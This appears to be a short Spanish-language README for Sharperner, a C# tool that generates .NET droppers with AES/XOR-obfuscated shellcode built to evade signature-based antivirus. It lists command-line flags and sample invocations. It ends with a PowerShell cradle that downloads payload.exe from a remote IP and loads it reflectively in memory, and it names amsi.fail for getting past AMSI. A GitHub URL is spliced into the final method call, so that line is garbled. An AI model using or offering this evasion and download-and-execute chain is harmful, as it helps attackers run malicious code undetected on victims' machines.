
Generador simple de ejecutables con shellcode encriptado.
Sharperner es una herramienta escrita en CSharp que genera un dropper .NET con shellcode ofuscado mediante AES y XOR. El ejecutable generado puede posiblemente evadir la verificación de firmas, pero no puedo asegurar que pueda evadir el escaneo heurístico.
/file B64, hex, shellcode crudo
/type cs, cpp
/out Ubicación del archivo de salida (Opcional)
Ejemplo:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe
Para evitar tocar el disco, el ejecutable .NET generado se puede cargar de forma reflectiva con PowerShell. AMSI es ahora el enemigo, ¡amsi.fail al rescate!
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()